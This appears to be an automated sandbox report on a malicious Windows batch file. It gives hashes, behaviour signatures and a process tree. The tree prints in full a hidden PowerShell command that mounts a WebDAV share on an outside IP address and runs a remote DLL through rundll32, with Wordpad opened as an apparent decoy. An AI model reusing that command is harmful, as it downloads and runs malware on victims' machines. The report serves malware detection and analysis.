Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    13-07-2024 10:51

General

  • Target

    2063932983164129025.bat

  • Size

    2KB

  • MD5

    f30d187ab1732a459d617f3362b877bd

  • SHA1

    b2c3f41f23002bfdd845eb83d283596e5cdfd71e

  • SHA256

    5712f2d56a46cc4fda16c4c72493857e4b20b3f8f5b7bab76786c62959f8ddc2

  • SHA512

    92e3a2996c63814a6fd5b389ed5a237cab907521b5ba576dac2800348b459a820526d9a0448d83dd7c53ad730ab358a872db64d5c9252a6aae985436fe1d36be

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\2063932983164129025.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3032
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2828
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\358.dll,entry
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2696
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
        3⤵
          PID:2676
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\358.dll entry
          3⤵
            PID:2588

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2696-23-0x000000001B660000-0x000000001B942000-memory.dmp

        Filesize

        2.9MB

      • memory/2696-24-0x0000000001C60000-0x0000000001C68000-memory.dmp

        Filesize

        32KB

      • memory/3032-16-0x00000000024A0000-0x00000000025A0000-memory.dmp

        Filesize

        1024KB

      • memory/3032-18-0x00000000024A0000-0x00000000025A0000-memory.dmp

        Filesize

        1024KB

      • memory/3032-17-0x00000000024A0000-0x00000000025A0000-memory.dmp

        Filesize

        1024KB